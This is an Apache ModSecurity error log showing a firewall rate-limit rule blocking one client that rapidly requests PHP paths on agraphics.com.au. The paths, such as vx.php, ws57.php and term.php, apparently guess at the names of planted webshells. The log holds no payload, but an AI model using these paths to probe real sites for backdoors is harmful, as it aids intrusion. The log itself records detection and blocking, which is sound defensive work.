[Thu Apr 23 21:17:57.857812 2026] [:error] [pid 42972:tid 43031] [client 158.158.123.88:50410] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeocBcOAb-3sOknsk4c6JAAAAE8"]
[Thu Apr 23 21:17:58.031664 2026] [:error] [pid 43083:tid 43090] [client 158.158.123.88:4299] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocBjC5hrvNXosL83J3mAAAAMU"]
[Thu Apr 23 21:17:58.477284 2026] [:error] [pid 42972:tid 43021] [client 158.158.123.88:4302] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeocBsOAb-3sOknsk4c6JgAAAEU"]
[Thu Apr 23 21:17:58.748505 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:31888] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocBr6vRb9j6psK2ZaBQgAAAhU"]
[Thu Apr 23 21:17:59.106437 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:42608] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/set.php"] [unique_id "aeocB76vRb9j6psK2ZaBRQAAAhE"]
[Thu Apr 23 21:17:59.475064 2026] [:error] [pid 65000:tid 65055] [client 158.158.123.88:4329] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocB76vRb9j6psK2ZaBRgAAAhY"]
[Thu Apr 23 21:17:59.807757 2026] [:error] [pid 65000:tid 65043] [client 158.158.123.88:4308] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocB76vRb9j6psK2ZaBSQAAAgo"]
[Thu Apr 23 21:18:00.319455 2026] [:error] [pid 42971:tid 42986] [client 158.158.123.88:64115] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocCDEP2_5RswrH8bEqPQAAAAA"]
[Thu Apr 23 21:18:00.568815 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:4344] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocCL6vRb9j6psK2ZaBTQAAAgg"]
[Thu Apr 23 21:18:01.225340 2026] [:error] [pid 65000:tid 65038] [client 158.158.123.88:42532] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocCb6vRb9j6psK2ZaBUQAAAgU"]
[Thu Apr 23 21:18:01.520149 2026] [:error] [pid 43083:tid 43105] [client 158.158.123.88:4338] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocCTC5hrvNXosL83J3mQAAANQ"]
[Thu Apr 23 21:18:02.071090 2026] [:error] [pid 65000:tid 65054] [client 158.158.123.88:4266] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocCr6vRb9j6psK2ZaBWQAAAhU"]
[Thu Apr 23 21:18:02.324905 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:31877] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aeocCr6vRb9j6psK2ZaBWwAAAgE"]
[Thu Apr 23 21:18:02.853611 2026] [:error] [pid 64967:tid 64981] [client 158.158.123.88:30068] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocCoAV4GfOOdX8Qzp1BgAAAYw"]
[Thu Apr 23 21:18:02.947596 2026] [:error] [pid 64967:tid 64984] [client 158.158.123.88:64074] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocCoAV4GfOOdX8Qzp1BwAAAY8"]
[Thu Apr 23 21:18:03.419612 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:28757] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocC4V5EysYcTLjmwh4MwAAAc4"]
[Thu Apr 23 21:18:03.543335 2026] [:error] [pid 42973:tid 43053] [client 158.158.123.88:5087] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocC26I0QqmmmLTHE0ZRAAAAIo"]
[Thu Apr 23 21:18:03.932250 2026] [:error] [pid 64998:tid 65024] [client 158.158.123.88:64077] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocC4V5EysYcTLjmwh4NAAAAdY"]
[Thu Apr 23 21:18:04.491678 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:4239] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocDIV5EysYcTLjmwh4OgAAAc0"]
[Thu Apr 23 21:18:04.554762 2026] [:error] [pid 64998:tid 65007] [client 158.158.123.88:5083] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocDIV5EysYcTLjmwh4OwAAAcU"]
[Thu Apr 23 21:18:05.080293 2026] [:error] [pid 64998:tid 65020] [client 158.158.123.88:50409] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocDYV5EysYcTLjmwh4PgAAAdI"]
[Thu Apr 23 21:18:05.206081 2026] [:error] [pid 65000:tid 65044] [client 158.158.123.88:5119] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "aeocDb6vRb9j6psK2ZaBXgAAAgs"]
[Thu Apr 23 21:18:05.669084 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:4275] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocDYV5EysYcTLjmwh4QQAAAdE"]
[Thu Apr 23 21:18:05.704453 2026] [:error] [pid 59700:tid 59705] [client 158.158.123.88:5111] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocDZXyGZJFeAIDWtkn7QAAAUM"]
[Thu Apr 23 21:18:06.325187 2026] [:error] [pid 46953:tid 46959] [client 158.158.123.88:32577] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocDknlpdHh-P6wKbo3vwAAAkM"]
[Thu Apr 23 21:18:06.398835 2026] [:error] [pid 64998:tid 65018] [client 158.158.123.88:4257] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocDoV5EysYcTLjmwh4RgAAAdA"]
[Thu Apr 23 21:18:06.963842 2026] [:error] [pid 43083:tid 43101] [client 158.158.123.88:50399] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocDjC5hrvNXosL83J3oAAAANA"]
[Thu Apr 23 21:18:07.042511 2026] [:error] [pid 43083:tid 43109] [client 158.158.123.88:5096] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocDzC5hrvNXosL83J3oQAAANg"]
[Thu Apr 23 21:18:07.900916 2026] [:error] [pid 65000:tid 65043] [client 158.158.123.88:28785] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeocD76vRb9j6psK2ZaBZAAAAgo"]
[Thu Apr 23 21:18:08.322628 2026] [:error] [pid 65000:tid 65048] [client 158.158.123.88:30047] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocEL6vRb9j6psK2ZaBaAAAAg8"]
[Thu Apr 23 21:18:08.871540 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:31237] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocEL6vRb9j6psK2ZaBbwAAAgE"]
[Thu Apr 23 21:18:09.218391 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:4254] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocEb6vRb9j6psK2ZaBcAAAAhQ"]
[Thu Apr 23 21:18:09.574073 2026] [:error] [pid 64998:tid 65017] [client 158.158.123.88:5072] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocEYV5EysYcTLjmwh4TgAAAc8"]
[Thu Apr 23 21:18:10.018562 2026] [:error] [pid 65000:tid 65052] [client 158.158.123.88:32583] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocEr6vRb9j6psK2ZaBdgAAAhM"]
[Thu Apr 23 21:18:10.212076 2026] [:error] [pid 59700:tid 59708] [client 158.158.123.88:54093] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocEpXyGZJFeAIDWtkn9wAAAUY"]
[Thu Apr 23 21:18:10.827252 2026] [:error] [pid 42973:tid 43061] [client 158.158.123.88:64103] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocEm6I0QqmmmLTHE0ZTQAAAJI"]
[Thu Apr 23 21:18:10.952451 2026] [:error] [pid 64998:tid 65026] [client 158.158.123.88:32620] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/domains.php"] [unique_id "aeocEoV5EysYcTLjmwh4UAAAAdg"]
[Thu Apr 23 21:18:11.838654 2026] [:error] [pid 65000:tid 65042] [client 158.158.123.88:54113] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocE76vRb9j6psK2ZaBeAAAAgk"]
[Thu Apr 23 21:18:11.896546 2026] [:error] [pid 64998:tid 65008] [client 158.158.123.88:30060] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocE4V5EysYcTLjmwh4UgAAAcY"]
[Thu Apr 23 21:18:12.646940 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:31295] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocFIV5EysYcTLjmwh4VgAAAdM"]
[Thu Apr 23 21:18:12.929567 2026] [:error] [pid 64998:tid 65020] [client 158.158.123.88:64066] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocFIV5EysYcTLjmwh4WAAAAdI"]
[Thu Apr 23 21:18:13.384702 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:64079] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocFb6vRb9j6psK2ZaBgQAAAhE"]
[Thu Apr 23 21:18:13.522617 2026] [:error] [pid 64998:tid 65026] [client 158.158.123.88:28750] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocFYV5EysYcTLjmwh4WwAAAdg"]
[Thu Apr 23 21:18:14.182287 2026] [:error] [pid 64967:tid 64970] [client 158.158.123.88:4312] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aeocFoAV4GfOOdX8Qzp1DgAAAYE"]
[Thu Apr 23 21:18:14.431931 2026] [:error] [pid 65000:tid 65046] [client 158.158.123.88:28787] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocFr6vRb9j6psK2ZaBgwAAAg0"]
[Thu Apr 23 21:18:15.095756 2026] [:error] [pid 64998:tid 65024] [client 158.158.123.88:54124] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocF4V5EysYcTLjmwh4awAAAdY"]
[Thu Apr 23 21:18:15.209499 2026] [:error] [pid 64998:tid 65005] [client 158.158.123.88:41866] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocF4V5EysYcTLjmwh4bAAAAcM"]
[Thu Apr 23 21:18:15.657808 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:29414] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocF76vRb9j6psK2ZaBhwAAAhA"]
[Thu Apr 23 21:18:15.984420 2026] [:error] [pid 59700:tid 59718] [client 158.158.123.88:4292] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocF5XyGZJFeAIDWtkn-gAAAVA"]
[Thu Apr 23 21:18:16.624249 2026] [:error] [pid 42972:tid 43017] [client 158.158.123.88:61637] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocGMOAb-3sOknsk4c6MAAAAEE"]
[Thu Apr 23 21:18:16.647506 2026] [:error] [pid 42972:tid 43035] [client 158.158.123.88:29402] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocGMOAb-3sOknsk4c6MQAAAFM"]
[Thu Apr 23 21:18:17.366635 2026] [:error] [pid 65000:tid 65055] [client 158.158.123.88:29392] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aeocGb6vRb9j6psK2ZaBiQAAAhY"]
[Thu Apr 23 21:18:17.605081 2026] [:error] [pid 42972:tid 43026] [client 158.158.123.88:32590] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocGcOAb-3sOknsk4c6OAAAAEo"]
[Thu Apr 23 21:18:18.308937 2026] [:error] [pid 42971:tid 42995] [client 158.158.123.88:54094] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocGjEP2_5RswrH8bEqRwAAAAk"]
[Thu Apr 23 21:18:18.372651 2026] [:error] [pid 64967:tid 64985] [client 158.158.123.88:33168] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocGoAV4GfOOdX8Qzp1EAAAAZA"]
[Thu Apr 23 21:18:19.331835 2026] [:error] [pid 43083:tid 43109] [client 158.158.123.88:29386] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/term.php"] [unique_id "aeocGzC5hrvNXosL83J3pwAAANg"]
[Thu Apr 23 21:18:19.541044 2026] [:error] [pid 25635:tid 25661] [client 158.158.123.88:30046] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aeocG8Rxv6UsgRGKB3IzbgAAARY"]
